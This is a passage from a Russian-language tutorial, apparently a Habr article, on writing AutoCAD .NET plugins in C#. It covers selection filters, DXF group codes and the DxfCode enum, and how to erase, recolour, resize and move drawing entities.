Database db = doc.Database;
Editor ed = doc.Editor;
// создаем переменную, в которой будут содержаться данные для фильтра
TypedValue[] filterlist = new TypedValue[1];
// первый аргумент (0) указывает, что мы задаем тип объекта
// второй аргумент ("CIRCLE") - собственно тип
filterlist[0] = new TypedValue(0, "CIRCLE");
// создаем фильтр
SelectionFilter filter = new SelectionFilter(filterlist);
// пытаемся получить ссылки на объекты с учетом фильтра
// ВНИМАНИЕ! Нужно проверить работоспособность метода с замороженными и заблокированными слоями!
PromptSelectionResult selRes = ed.SelectAll(filter);
// если произошла ошибка - сообщаем о ней
if (selRes.Status != PromptStatus.OK)
{
ed.WriteMessage("\nError!\n");
return;
}
// получаем массив ID объектов
ObjectId[] ids = selRes.Value.GetObjectIds();
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// "пробегаем" по всем полученным объектам
foreach (ObjectId id in ids)
{
// приводим каждый из них к типу Entity
Entity entity = (Entity)tr.GetObject(id, OpenMode.ForRead);
// выводим в консоль слой, тип и цвет каждого объекта
acad.DocumentManager.MdiActiveDocument.Editor.WriteMessage(string.Format("\nLayer:{0}; Type:{1}; Color: {2},{3},{4}\n",
entity.Layer, entity.GetType().ToString(), entity.Color.Red.ToString(), entity.Color.Green.ToString(), entity.Color.Blue.ToString()));
}
tr.Commit();
}
}
```
**Результат:**
Работает. Теперь давайте разберемся, как.)
Итак, метод `Editor.SelectAll()` может принимать на вход объект типа `SelectionFilter`, который и задает фильтр. Этот фильтр инициализируется с помощью массива объектов типа `TypedValue`. Конструктор `TypedValue` принимает на вход два параметра:
```
public TypedValue(int typeCode, object value);
```
Эти значения связаны с [форматом DXF](https://ru.wikipedia.org/wiki/DXF) (rus). Вот что говорит по этому поводу [документация](http://www.autodesk.com/techpubs/autocad/acadr14/dxf/general_dxf_conventions_al_u05_c.htm) (англ.):
> The DXF format is a tagged data representation of all the information contained in an AutoCAD drawing file of a specific version. Tagged data means that each data element in the file is preceded by an integer number that is called a group code. A group code's value indicates what type of data element follows. It also indicates the meaning of a data element for a given object (or record) type. Virtually all user-specified information in a drawing file can be represented in DXF format. The DXF format is essentially the same when used with applications (AutoLISP and ARX). However, there are a few minor differences for some data groups.
**Гугл-транслейт:**Формат DXF позволяет представить всю информацию в чертеже AutoCAD определенной версии в виде тегированных данных. Под тегированными данными понимается то, что каждый элемент данных содержит в начале целое число, которое называется групповым кодом. Значение группового кода позволяет узнать, данные какого типа содержатся в этом элементе. Также оно отражает смысл элемента данных для соответствующего типа объекта (или записи). Практически вся добавленная пользователем на чертеж информация может быть представлена в формате DXF. В целом формат DXF один и тот же и для AutoLISP, и для ARX, однако для некоторых групп данных возможны небольшие различия.
В рассмотренном примере мы указали в качестве `typeCode` значение 0. Откуда оно взялось и что означает — можно посмотреть в [списке](http://www.autodesk.com/techpubs/autocad/acadr14/dxf/group_codes_in_numerical_order_al_u05_c.htm) (англ.)
**На всякий случай я продублирую список здесь:**-5: APP: persistent reactor chain
-4: APP: conditional operator (used only with ssget)
-3: APP: extended data (XDATA) sentinel (fixed)
-2: APP: entity name reference (fixed)
-1: APP: entity name. This changes each time a drawing is opened. It is never saved. (fixed)
0: Text string indicating the entity type (fixed)
1: Primary text value for an entity
2: Name (attribute tag, block name, and so on)
3-4: Other textual or name values
5: Entity handle. Text string of up to 16: hexadecimal digits (fixed)
6: Linetype name (fixed)
7: Text style name (fixed)
8: Layer name (fixed)
9: DXF: variable name identifier (used only in HEADER section of the DXF file).
10: Primary point. This is the start point of a line or text entity, center of a circle, and so on.
DXF: X value of the primary point (followed by Y and Z value codes 20: and 30)
APP: 3D point (list of three reals)
11-18: Other points.
DXF: X value of other points (followed by Y value codes 21-28: and Z value codes 31-38)
APP: 3D point (list of three reals)
20, 30: DXF: Y and Z values of the primary point
21-28, 31-37: DXF: Y and Z values of other points
38: DXF: entity's elevation if nonzero.
39: Entity's thickness if nonzero (fixed)
40-48: Floating-point values (text height, scale factors, and so on)
48: Linetype scale. Floating-point scalar value. Default value is defined for all entity types.
49: Repeated floating-point value. Multiple 49: groups may appear in one entity for variable-length tables (such as the dash lengths in the LTYPE table). A 7x group always appears before the first 49 group to specify the table length.
50-58: Angles (output in degrees to DXF files and radians through AutoLISP and ARX applications).
60: Entity visibility. Integer value. Absence or 0: indicates visibility; 1 indicates invisibility.
62: Color number (fixed)
66: "Entities follow" flag (fixed)
67: Space--that is, model or paper space (fixed)
68: APP: identifies whether viewport is on but fully off screen; is not active or is off.
69: APP: viewport identification number.
70-78: Integer values, such as repeat counts, flag bits, or modes
90-99: 32-bit integer values
100: Subclass data marker (with derived class name as a string). Required for all objects and entity classes that are derived from another concrete class to segregate data defined by different classes in the inheritance chain for the same object.
This is in addition to the requirement for DXF names for each distinct concrete class derived from ARX (see "Subclass Markers").
102: Control string, followed by "{" or "}". Similar to the xdata 1002: group code, except that when the string begins with "{", it can be followed by an arbitrary string whose interpretation is up to the application. The only other allowable control string is "}" as a group terminator. As noted before, AutoCAD does not interpret these strings except during drawing audit operations; they are for application use.
105: DIMVAR symbol table entry object handle
210: Extrusion direction (fixed).
DXF: X value of extrusion direction
APP: 3D extrusion direction vector
220, 230: DXF: Y and Z values of the extrusion direction
280-289: 8-bit integer values
300-309: Arbitrary text strings
310-319: Arbitrary binary chunks with same representation and limits as 1004: group codes: hexadecimal strings of up to 254 characters represent data chunks of up to 127 bytes.
320-329: Arbitrary object handles. Handle values that are taken "as is." They are not translated during INSERT and XREF operations.
330-339: Soft-pointer handle. Arbitrary soft pointers to other objects within same DXF file or drawing. Translated during INSERT and XREF operations.
340-349: Hard-pointer handle. Arbitrary hard pointers to other objects within same DXF file or drawing. Translated during INSERT and XREF operations.
350-359: Soft-owner handle. Arbitrary soft ownership links to other objects within same DXF file or drawing. Translated during INSERT and XREF operations.
360-369: Hard-owner handle. Arbitrary hard ownership links to other objects within same DXF file or drawing. Translated during INSERT and XREF operations.
999: DXF: The 999: group code indicates that the line following it is a comment string. DXFOUT does not include such groups in a DXF output file, but DXFIN honors them and ignores the comments. You can use the 999 group to include comments in a DXF file that you've edited.
1000: ASCII string (up to 255: bytes long) in extended data.
1001: Registered application name (ASCII string up to 31: bytes long) for extended data.
1002: Extended data control string ("{"or "}").
1003: Extended data layer name.
1004: Chunk of bytes (up to 127: bytes long) in extended data.
1005: Entity handle in extended data. Text string of up to 16: hexadecimal digits
1010: A point in extended data
DXF: X value (followed by 1020: and 1030 groups)
APP: 3D point
1020, 1030: DXF: Y and Z values of a point
1011: A 3D world space position in extended data
DXF: X value (followed by 1021: and 1031 groups)
APP: 3D point
1021, 1031: DXF: Y and Z values of a World space position
1012: A 3D world space displacement in extended data
DXF: X value (followed by 1022: and 1032 groups)
APP: 3D vector
1022, 1032: DXF: Y and Z values of a World space displacement
1013: A 3D world space direction in extended data.
DXF: X value (followed by 1022: and 1032 groups)
APP: 3D vector
1023, 1033: DXF: Y and Z values of a World space direction
1040: Extended data floating-point value.
1041: Extended data distance value.
1042: Extended data scale factor.
1070: Extended data 16-bit signed integer.
1071: Extended data 32-bit signed long.
~~Пятой~~ шестой строкой в списке идет эта:
> 0: Text string indicating the entity type (fixed)
Таким образом, коду «0» соответствует тип объекта.
**NB:**Вместо зубодробительных числовых констант можно использовать любезно предоставленное разработчиками API перечисление `Autodesk.AutoCAD.DatabaseServices.DxfCode`:
```
[Wrapper("AcDb::DxfCode")]
public enum DxfCode
{
Invalid = -9999,
XDictionary = -6,
PReactors = -5,
Operator = -4,
XDataStart = -3,
FirstEntityId = -2,
HeaderId = -2,
End = -1,
Start = 0,
XRefPath = 1,
Text = 1,
AttributeTag = 2,
ShapeName = 2,
BlockName = 2,
SymbolTableName = 2,
MlineStyleName = 2,
SymbolTableRecordName = 2,
Description = 3,
TextFontFile = 3,
AttributePrompt = 3,
LinetypeProse = 3,
DimStyleName = 3,
DimPostString = 3,
CLShapeName = 4,
DimensionAlternativePrefixSuffix = 4,
TextBigFontFile = 4,
SymbolTableRecordComments = 4,
Handle = 5,
DimensionBlock = 5,
LinetypeName = 6,
DimBlk1 = 6,
DimBlk2 = 7,
TextStyleName = 7,
LayerName = 8,
CLShapeText = 9,
XCoordinate = 10,
YCoordinate = 20,
ZCoordinate = 30,
Elevation = 38,
Thickness = 39,
TxtSize = 40,
ViewportHeight = 40,
Real = 40,
ViewWidth = 41,
TxtStyleXScale = 41,
ViewportAspect = 41,
TxtStylePSize = 42,
ViewLensLength = 42,
ViewFrontClip = 43,
ViewBackClip = 44,
ShapeXOffset = 44,
ViewHeight = 45,
ShapeYOffset = 45,
ShapeScale = 46,
PixelScale = 47,
LinetypeScale = 48,
DashLength = 49,
MlineOffset = 49,
LinetypeElement = 49,
ViewportSnapAngle = 50,
Angle = 50,
ViewportTwist = 51,
Visibility = 60,
LayerLinetype = 61,
Color = 62,
HasSubentities = 66,
ViewportVisibility = 67,
ViewportActive = 68,
ViewportNumber = 69,
Int16 = 70,
ViewMode = 71,
TxtStyleFlags = 71,
RegAppFlags = 71,
CircleSides = 72,
LinetypeAlign = 72,
ViewportZoom = 73,
LinetypePdc = 73,
ViewportIcon = 74,
ViewportSnap = 75,
ViewportGrid = 76,
ViewportSnapStyle = 77,
ViewportSnapPair = 78,
Int32 = 90,
Subclass = 100,
EmbeddedObjectStart = 101,
ControlString = 102,
DimVarHandle = 105,
UcsOrg = 110,
UcsOrientationX = 111,
UcsOrientationY = 112,
XReal = 140,
ViewBrightness = 141,
ViewContrast = 142,
Int64 = 160,
XInt16 = 170,
NormalX = 210,
NormalY = 220,
NormalZ = 230,
XXInt16 = 270,
Int8 = 280,
RenderMode = 281,
Bool = 290,
XTextString = 300,
BinaryChunk = 310,
ArbitraryHandle = 320,
SoftPointerId = 330,
HardPointerId = 340,
SoftOwnershipId = 350,
HardOwnershipId = 360,
LineWeight = 370,
PlotStyleNameType = 380,
PlotStyleNameId = 390,
ExtendedInt16 = 400,
LayoutName = 410,
ColorRgb = 420,
ColorName = 430,
Alpha = 440,
GradientObjType = 450,
GradientPatType = 451,
GradientTintType = 452,
GradientColCount = 453,
GradientAngle = 460,
GradientShift = 461,
GradientTintVal = 462,
GradientColVal = 463,
GradientName = 470,
Comment = 999,
ExtendedDataAsciiString = 1000,
ExtendedDataRegAppName = 1001,
ExtendedDataControlString = 1002,
ExtendedDataLayerName = 1003,
ExtendedDataBinaryChunk = 1004,
ExtendedDataHandle = 1005,
ExtendedDataXCoordinate = 1010,
ExtendedDataWorldXCoordinate = 1011,
ExtendedDataWorldXDisp = 1012,
ExtendedDataWorldXDir = 1013,
ExtendedDataYCoordinate = 1020,
ExtendedDataWorldYCoordinate = 1021,
ExtendedDataWorldYDisp = 1022,
ExtendedDataWorldYDir = 1023,
ExtendedDataZCoordinate = 1030,
ExtendedDataWorldZCoordinate = 1031,
ExtendedDataWorldZDisp = 1032,
ExtendedDataWorldZDir = 1033,
ExtendedDataReal = 1040,
ExtendedDataDist = 1041,
ExtendedDataScale = 1042,
ExtendedDataInteger16 = 1070,
ExtendedDataInteger32 = 1071,
}
```
Например, в рассмотренном примере мы могли бы вместо
```
filterlist[0] = new TypedValue(0, "CIRCLE");
```
написать
```
filterlist[0] = new TypedValue((int)DxfCode.Start, "CIRCLE");
```
И это сработает!
Вот только не надо спрашивать *меня*, почему это значению 0 соответствует элемент перечисления с названием «Start». Понятия не имею.
В общем, можете забить весь свой код непонятными числовыми константами (что, конечно, хреново). Или можете забить его соответствующими элементами перечисления `Autodesk.AutoCAD.DatabaseServices.DxfCode` с не менее непонятными, взятыми с потолка названиями (что, разумеется, хреново). Можете также создать свое собственное перечисление с необходимыми константами и использовать его (что, сами понимаете, хреново). Добро пожаловать в *увлекательный мир программирования*! Налево пойдешь — коня потеряешь, и так далее.
Поскольку в любом случае у вас получится нечитаемое спагетти — можете выбрать любой способ или даже использовать все три. А если сойти с ума через полгода не входит в ваши планы — *пишите комментарии*, это поможет продержаться чуть дольше.
Быстро-быстро пробежимся по простым возможностям фильтров.
Разумеется, искать мы можем не только окружности. Найдем все линии:
```
filterlist[0] = new TypedValue((int)DxfCode.Start, "LINE");
```
Найдем все вхождения блоков:
```
filterlist[0] = new TypedValue((int)DxfCode.Start, "INSERT");
```
**NB:**Список некоторых имен классов объектов можно найти [тут](http://www.autodesk.com/techpubs/autocad/acad2000/dxf/) (англ.).
**Вот он, на всякий случай:**3DFACE
3DSOLID
ACAD\_PROXY\_ENTITY
ARC
ARCALIGNEDTEXT
ATTDEF
ATTRIB
BODY
CIRCLE
DIMENSION
ELLIPSE
HATCH
IMAGE
INSERT
LEADER
LINE
LWPOLYLINE
MLINE
MTEXT
OLEFRAME
OLE2FRAME
POINT
POLYLINE
RAY
REGION
RTEXT
SEQEND
SHAPE
SOLID
SPLINE
TEXT
TOLERANCE
TRACE
VERTEX
VIEWPORT
WIPEOUT
XLINE
Именно отсюда было взято значение `"INSERT"`.
Найдем все объекты на слое «layer-1»:
```
filterlist[0] = new TypedValue((int)DxfCode.LayerName, "layer-1");
```
В одном объекте `TypedValue` можно перечислить несколько имен через запятую. В этом случае условия будут объединены операцией «ИЛИ» («OR»).
Давайте найдем все объекты, которые являются линиями ИЛИ окружностями:
```
filterlist[0] = new TypedValue((int)DxfCode.Start, "LINE,CIRCLE");
```
Найдем все объекты, которые находятся на слое «layer-1» ИЛИ «layer-2»:
```
filterlist[0] = new TypedValue((int)DxfCode.LayerName, "layer-1,layer-2");
```
**ВАЖНО:** после запятой между объединяемыми параметрами НЕ ДОЛЖНО быть пробела!
Наконец, можно добавить несколько объектов `TypedValue` к массиву условий. В этом случае условия будут объединены операцией «И» («AND»).
Найдем все объекты, которые являются линиями И находятся на нулевом слое:
```
TypedValue[] filterlist = new TypedValue[2];
filterlist[0] = new TypedValue((int)DxfCode.Start, "CIRCLE");
filterlist[1] = new TypedValue((int)DxfCode.LayerName, "0");
```
Найдем все вхождения блока «block-1»:
```
TypedValue[] filterlist = new TypedValue[2];
filterlist[0] = new TypedValue((int)DxfCode.Start, "INSERT");
filterlist[1] = new TypedValue((int)DxfCode.BlockName, "block-1");
```
Найдем все объекты, которые являются линиями И находятся на нулевом слое ИЛИ слое «layer-1»:
```
TypedValue[] filterlist = new TypedValue[2];
filterlist[0] = new TypedValue((int)DxfCode.Start, "LINE");
filterlist[1] = new TypedValue((int)DxfCode.LayerName, "0,layer-1");
```
Ну вот, вроде и не больно… Было. Пока что.
2.3 Фильтры посложнее
---------------------
Давайте взглянем на ~~украденный~~ творчески переработанный (я ~~написал~~ перевел комментарии) [пример](http://through-the-interface.typepad.com/through_the_interface/2008/07/conditional-sel.html) из блога Kean Walmsley.
Пусть нам надо найти все линии на слое «layer-1» и все круги на слое «layer-2». Очевидно, мы не сможем этого сделать, просто добавив несколько объектов `TypedValue`: максимум, чего можно добиться этим способом, — это найти все линии и все круги на обоих слоях сразу.
Итак, нам нужно реализовать выбор по такому условию:
((СЛОЙ == «layer-1») И (ТИП == «Линия»)) ИЛИ ((СЛОЙ == «layer-2») И (ТИП == «Окружность»))
В синтаксисе AutoCAD наше условие можно записать так:
* * + + - Layer == «layer-1»
- Entity type == «LINE»
+ AND>
+ + - Layer == «layer-2»
- Entity type == «CIRCLE»
+ AND>
* OR>
А вот так это условие перепишется в виде массива элементов `TypedValue`:
```
TypedValue[] filterlist = new TypedValue[10];
filterlist[0] = new TypedValue((int)DxfCode.Operator, "");
filterlist[5] = new TypedValue((int)DxfCode.Operator, "");
filterlist[9] = new TypedValue((int)DxfCode.Operator, "OR>");
```
После применения фильтра на базе этих условий мы увидим следующий вывод в консоли AutoCAD:
> Layer:layer-2; Type:Autodesk.AutoCAD.DatabaseServices.Circle; Color: 128,255,64
>
> Layer:layer-1; Type:Autodesk.AutoCAD.DatabaseServices.Line; Color: 0,200,255
>
> Layer:layer-1; Type:Autodesk.AutoCAD.DatabaseServices.Line; Color: 255,128,255
>
>
Принцип простой: осознаем, какое условие нам нужно, разбиваем его на элементарные части, а затем объединяем эти части с помощью операторов OR, AND, NOT, XOR…
**NB:**Серьезно? *XOR?* Сколько лет, сколько зим… Кажется, последний раз я тебя видел на лабе по информатике.
Как жизнь, родимый? Где-то ты сейчас? Кто все эти люди, которые тебя используют?
Почитать подробнее про сложные условия можно [здесь](http://help.autodesk.com/view/ACD/2015/ENU/?guid=GUID-04B8192E-B0D8-4731-A882-AE92B7CFAE22) (англ.).
Все, хватит уже о фильтрах. Сколько можно…
3 Альтернативные способы поиска объектов на чертеже
===================================================
Помимо `Editor.SelectAll()`, есть ряд других способов поиска (точнее, выделения) объектов на чертеже. Вот ссылки: [английская документация](http://knowledge.autodesk.com/support/autocad/learn-explore/caas/CloudHelp/cloudhelp/2016/ENU/AutoCAD-NET/files/GUID-CBECEDCF-3B4E-4DF3-99A0-47103D10DADD-htm.html), [русский перевод](https://sites.google.com/site/bushmansnetlaboratory/translate-manual/sozdanie-i-redaktirovanie-obektov-autocad/rabota-s-vybrannymi-naborami/vybor-obektov-v-certeze).
Как можно увидеть, существуют еще десять более узконаправленных вариантов, чем `Editor.SelectAll()`. Зато мы рассмотрели самый мощный из них.
**Оффтоп: обещанные кровавые подробности (можно пропустить)**Я некоторое время думал, стоит ли вообще включать это в статью. В итоге, решил, что пусть будет — вот только зачем?
В общем, если у вас есть чертеж с **огромным** количеством объектов, и нужно все их обработать, и выхода нет, и скоро рассвет — то вот вам [ссылочка](http://www.theswamp.org/index.php?PHPSESSID=2c2bpmusj2ak8dql4f4qgbol90&topic=39272.15) (англ.), где Андрей Бушман [hwd](https://habrahabr.ru/users/hwd/), Александр Ривилис и зарубежные эксперты развлекаются, оптимизируя эту задачку.
В этом примере мы получаем доступ не к видимому чертежу (`ModelSpace`), а ко всей БД документа целиком. Таким образом, мы увидим не только изображенные на чертеже объекты, но и слои, определения блоков и т.п.
**Код:**
```
// команда для итерации по объектам (подход 3)
// Осторожно! Используется черная магия!
[CommandMethod("Habr_IterateThroughAllObjects_3")]
public void iterateThroughAllObjects_3()
{
Database db = HostApplicationServices.WorkingDatabase;
Editor ed = Application.DocumentManager.MdiActiveDocument.Editor;
long amount = 0;
Dictionary d = new Dictionary();
ObjectId id = ObjectId.Null;
for (long i = db.BlockTableId.Handle.Value; i < db.Handseed.Value; i++)
{
Handle h = new Handle(i);
if (db.TryGetObjectId(h, out id) && !id.IsNull && id.IsValid && !id.IsErased)
{
string t = id.ObjectClass.DxfName;
amount++;
if(d.ContainsKey(t))
d[t]++;
else
d.Add(t, 1);
}
}
foreach(KeyValuePair kvp in d)
ed.WriteMessage("\n{0}: {1} ", kvp.Key, kvp.Value);
ed.WriteMessage("\nTotal {0} objects in drawing\n", amount);
}
```
**Результат (вывод в консоль):**Command: Habr\_IterateThroughAllObjects\_3
TABLE: 11
DICTIONARY: 16
ACDBDICTIONARYWDFLT: 1
ACDBPLACEHOLDER: 1
LAYER: 3
STYLE: 2
APPID: 7
LTYPE: 3
MLINESTYLE: 1
BLOCK\_RECORD: 5
BLOCK: 5
ENDBLK: 5
LAYOUT: 3
DIMSTYLE: 3
DICTIONARYVAR: 7
TABLESTYLE: 1
VPORT: 1
MATERIAL: 3
VISUALSTYLE: 19
SCALE: 17
MLEADERSTYLE: 2
XRECORD: 4
FONT\_TABLE\_RECORD: 2
CIRCLE: 5
LINE: 9
LWPOLYLINE: 2
TEXT: 2
INSERT: 3
ARC: 1
Total 144 objects in drawing
Тут применено какое-то особо сильное колдунство с прямым доступом к объектам БД по их хендлам. Я вначале попытался было вкурить код, но вовремя вспомнил, что уже давно завязал, и делать это совершенно необязательно. Если вы — программист, то welcome! Что же касается меня… Пожалуй, *разбор этого элементарного фрагмента кода оставим читателям в качестве несложного домашнего задания*.
**UPD.:** [В комментариях](http://habrahabr.ru/post/262953/#comment_8507155) Андрей Бушман привел ссылку на наиболее рациональный способ итерации по объектам.
4 Модификация объектов
======================
Мне кажется, что модификация объектов происходит в разы проще поиска. Вот основной принцип: получив `ObjectID`, мы открываем сам объект, приводим его к нужному типу и вносим необходимые изменения в свойства. Ну или удаляем объект с чертежа, используя соответствующий метод.
4.1 Удаление объекта с чертежа
------------------------------
Для удаления объекта с чертежа необходимо:
1. открыть объект на запись;
2. вызвать метод `Erase();`
3. зафиксировать транзакцию.
Ссылки: [документация](http://docs.autodesk.com/ACD/2010/ENU/AutoCAD%20.NET%20Developer%27s%20Guide/index.html?url=WS1a9193826455f5ff2566ffd511ff6f8c7ca-3eef.htm,topicNumber=d0e20517) (англ.), [зеркало](http://knowledge.autodesk.com/support/autocad-civil-3d/getting-started/caas/CloudHelp/cloudhelp/2016/ENU/AutoCAD-NET/files/GUID-A9283274-3E5B-4739-975B-03A30536EE64-htm.html) (англ.).
Для примера давайте удалим с чертежа все окружности.
**Код:**
```
[CommandMethod("Habr_EraseCircles_2")]
public void eraseCircles_2()
{
// получаем БД и Editor текущего документа
Document doc = Application.DocumentManager.MdiActiveDocument;
Database db = doc.Database;
Editor ed = doc.Editor;
// создаем переменную, в которой будут содержаться данные для фильтра
TypedValue[] filterlist = new TypedValue[1];
// первый аргумент (0) указывает, что мы задаем тип объекта
// второй аргумент ("CIRCLE") - собственно тип
filterlist[0] = new TypedValue(0, "CIRCLE");
// создаем фильтр
SelectionFilter filter = new SelectionFilter(filterlist);
// пытаемся получить ссылки на объекты с учетом фильтра
// ВНИМАНИЕ! Нужно проверить работоспособность метода с замороженными и заблокированными слоями!
PromptSelectionResult selRes = ed.SelectAll(filter);
// если произошла ошибка - сообщаем о ней
if (selRes.Status != PromptStatus.OK)
{
ed.WriteMessage("\nError!\n");
return;
}
// получаем массив ID объектов
ObjectId[] ids = selRes.Value.GetObjectIds();
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// "пробегаем" по всем полученным объектам
foreach (ObjectId id in ids)
{
// приводим каждый из них к типу Entity
Entity entity = (Entity)tr.GetObject(id, OpenMode.ForRead);
// открываем приговоренный объект на запись
entity.UpgradeOpen();
// удаляем объект
entity.Erase();
}
tr.Commit();
}
}
```
**Результат:**
Конечно, в данном случае можно было и не использовать метод `UpgradeOpen()`, а сразу открывать объект на запись и удалять:
```
Entity entity = (Entity)tr.GetObject(id, OpenMode.ForWrite);
entity.Erase();
```
**Важно!** Если объект находится на заблокированном слое — доступ к нему на запись получить не удастся, и мы сможем полюбоваться на такое сообщение:
Поэтому еще раз напомню о необходимости как минимум упаковывать все требующие доступа на запись операции в конструкцию `try...catch` с последующим перехватыванием исключений. То есть что-то вроде такого:
```
Entity entity = (Entity)tr.GetObject(id, OpenMode.ForRead);
try
{
entity.UpgradeOpen();
entity.Erase();
}
catch ()
{
ed.WriteMessage("\nSomething went wrong...\n");
}
```
В этом случае мы вместо системного исключения увидим простое сообщение в консоли AutoCAD.
**NB:**Разумеется, использование `try...catch` в таком виде — это тот еще быдлокод. Ведь мы же знаем, что в случае заблокированного слоя нас ждет ошибка `eOnLockedLayer`, так что можем перехватывать не все ошибки подряд, а только `Autodesk.AutoCAD.Runtime.Exception` с соответствующим кодом ошибки (`ErrorStatus`) — как-то так:
```
catch (Autodesk.AutoCAD.Runtime.Exception ex)
{
if (ex.ErrorStatus == ErrorStatus.OnLockedLayer)
{
...
}
}
```
Тут подумайте сами — либо решите, что «яжпрограммист», и обрабатывайте наиболее вероятные ошибки по отдельности, либо решите, что путешествия в дебри кода — это не для вас, и глубокая фильтрация ошибок НЕ\_НУЖНА. По-хорошему, такое решение должно приниматься с учетом поставленной задачи, оценки рисков и т. д.
Но — подчеркну еще раз — подобную ситуацию нужно иметь в виду в любом случае.
**UPD.:** Андрей Бушман [подсказал](http://habrahabr.ru/post/262953/#comment_8507387), что метод `GetObject`, вообще говоря, имеет следующую сигнатуру:
```
GetObject(ObjectId id, OpenMode mode, Boolean openErased, Boolean forceOpenOnLockedLayer)
```
Последний параметр позволяет в том числе работать с заблокированными слоями. Для примера, вот такой код у меня корректно отработал даже с заблокированными слоем:
```
Entity entity = (Entity)tr.GetObject(id, OpenMode.ForWrite, false, true);
entity.Erase();
```
После завершения транзакции состояние слоя, на котором расположен объект, не изменяется.
В общем, похоже, что вместо конструкции `try...catch` можно использовать параметр `forceOpenOnLockedLayer`. В этом случае мы отказываемся от метода `UpgradeOpen()` и сразу открываем объект методом `GetObject()` на запись (`OpenMode.ForWrite`) с установленным флагом `forceOpenOnLockedLayer`.
4.2 Изменение типовых свойств объектов
--------------------------------------
Под «типовыми свойствами» я имею в виду те свойства, которые присущи всем объектам на чертеже AutoCAD. Это, например, слой и цвет.
Здесь все так же:
1. открываем объект на запись;
2. модифицируем нужное свойство;
3. фиксируем транзакцию.
Давайте сделаем все наши фигуры оранжевыми.
**Код:**
```
[CommandMethod("Habr_RepaintOrange_2")]
public void repaintOrange_2()
{
// получаем БД и Editor текущего документа
Document doc = Application.DocumentManager.MdiActiveDocument;
Database db = doc.Database;
Editor ed = doc.Editor;
// пытаемся получить ссылки на все объекты
// ВНИМАНИЕ! Нужно проверить работоспособность метода с замороженными и заблокированными слоями!
PromptSelectionResult selRes = ed.SelectAll();
// если произошла ошибка - сообщаем о ней
if (selRes.Status != PromptStatus.OK)
{
ed.WriteMessage("\nError!\n");
return;
}
// получаем массив ID объектов
ObjectId[] ids = selRes.Value.GetObjectIds();
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// "пробегаем" по всем полученным объектам
foreach (ObjectId id in ids)
{
// приводим каждый из них к типу Entity
Entity entity = (Entity)tr.GetObject(id, OpenMode.ForRead);
// открываем объект на запись
entity.UpgradeOpen();
// изменяем цвет на оранжевый
entity.Color = Autodesk.AutoCAD.Colors.Color.FromRgb(255, 128, 0);
}
tr.Commit();
}
}
```
**Результат:**
Цвет всех объектов изменен на оранжевый. Однако объекты внутри вхождений блоков цвет не поменяли и остались черными — несмотря на то, что для всех вхождений блоков был успешно задан оранжевый цвет:
**Доказательство - значение поля Color:**
Нужно иметь эту особенность в виду.
Рассмотренный способ можно использовать для модификации всех изменяемых свойств, которые доступны в классе `Entity`. Но как и в предыдущем случае, вы должны быть на 146% уверены в том, что плагину удастся получить доступ к объекту на запись. Если степень уверенности меньше — используйте флаг `forceOpenOnLockedLayer` или ~~средства индивидуальной защиты~~ конструкцию `try...catch` и перехватывайте возможные исключения.
4.3 Изменение специфичных свойств объектов
------------------------------------------
Допустим, мы хотим поменять радиус окружности. Используя класс `Entity`, мы не сможем это сделать, поскольку у него нет свойства, отвечающего за радиус. В данном случае нужно приводить объект к типу `Circle`:
**Код:**
```
[CommandMethod("Habr_ModifyCircles_2")]
public void modifyCircles_2()
{
// получаем БД и Editor текущего документа
Document doc = Application.DocumentManager.MdiActiveDocument;
Database db = doc.Database;
Editor ed = doc.Editor;
// создаем переменную, в которой будут содержаться данные для фильтра
TypedValue[] filterlist = new TypedValue[1];
// первый аргумент (0) указывает, что мы задаем тип объекта
// второй аргумент ("CIRCLE") - собственно тип
filterlist[0] = new TypedValue(0, "CIRCLE");
// создаем фильтр
SelectionFilter filter = new SelectionFilter(filterlist);
// пытаемся получить ссылки на объекты с учетом фильтра
// ВНИМАНИЕ! Нужно проверить работоспособность метода с замороженными и заблокированными слоями!
PromptSelectionResult selRes = ed.SelectAll(filter);
// если произошла ошибка - сообщаем о ней
if (selRes.Status != PromptStatus.OK)
{
ed.WriteMessage("\nError!\n");
return;
}
// получаем массив ID объектов
ObjectId[] ids = selRes.Value.GetObjectIds();
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// "пробегаем" по всем полученным объектам
foreach (ObjectId id in ids)
{
// приводим каждый из них к типу Circle
Circle cir = (Circle)tr.GetObject(id, OpenMode.ForRead);
// открываем объект на запись
cir.UpgradeOpen();
// увеличиваем радиус
cir.Radius = cir.Radius * 2;
}
tr.Commit();
}
}
```
**Результат:**
Работает.
Разумеется, необходимо убедиться, что мы имеем дело именно с окружностями. Попытка привести к типу `Circle`, например, вхождение блока добром не кончится:
Используйте конструкцию `try...catch`! Или по крайней мере обеспечивайте фильтрацию, как в нашем примере, либо же проверяйте тип непосредственно перед приведением:
```
Entity ent = (Entity)tr.GetObject(id, OpenMode.ForRead);
if (ent.GetType() == typeof(Circle))
{
Circle cir = (Circle)tr.GetObject(id, OpenMode.ForRead);
}
```
Подчеркну, что ни фильтр, ни проверка не обезопасят от ситуации с заблокированным слоем и ошибкой `eOnLockedLayer`. Для борьбы с ней используйте либо флаг `forceOpenOnLockedLayer`, либо конструкцию `try...catch`, либо фильтры / проверки, которые отсекут заблокированные объекты.
4.4 Перемещение простых объектов
--------------------------------
Если положение объекта на чертеже задается одной точкой (как, например, у окружности или блока), то для перемещения этой фигуры достаточно изменить соответствующие свойство. Для примера давайте переместим все вхождения блоков в начало координат:
**Код:**
```
[CommandMethod("Habr_MoveBlocks_2")]
public void moveBlocks_2()
{
// получаем БД и Editor текущего документа
Document doc = Application.DocumentManager.MdiActiveDocument;
Database db = doc.Database;
Editor ed = doc.Editor;
// создаем переменную, в которой будут содержаться данные для фильтра
TypedValue[] filterlist = new TypedValue[1];
// первый аргумент (0) указывает, что мы задаем тип объекта
// второй аргумент ("CIRCLE") - собственно тип
filterlist[0] = new TypedValue(0, "INSERT");
// создаем фильтр
SelectionFilter filter = new SelectionFilter(filterlist);
// пытаемся получить ссылки на объекты с учетом фильтра
// ВНИМАНИЕ! Нужно проверить работоспособность метода с замороженными и заблокированными слоями!
PromptSelectionResult selRes = ed.SelectAll(filter);
// если произошла ошибка - сообщаем о ней
if (selRes.Status != PromptStatus.OK)
{
ed.WriteMessage("\nError!\n");
return;
}
// получаем массив ID объектов
ObjectId[] ids = selRes.Value.GetObjectIds();
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
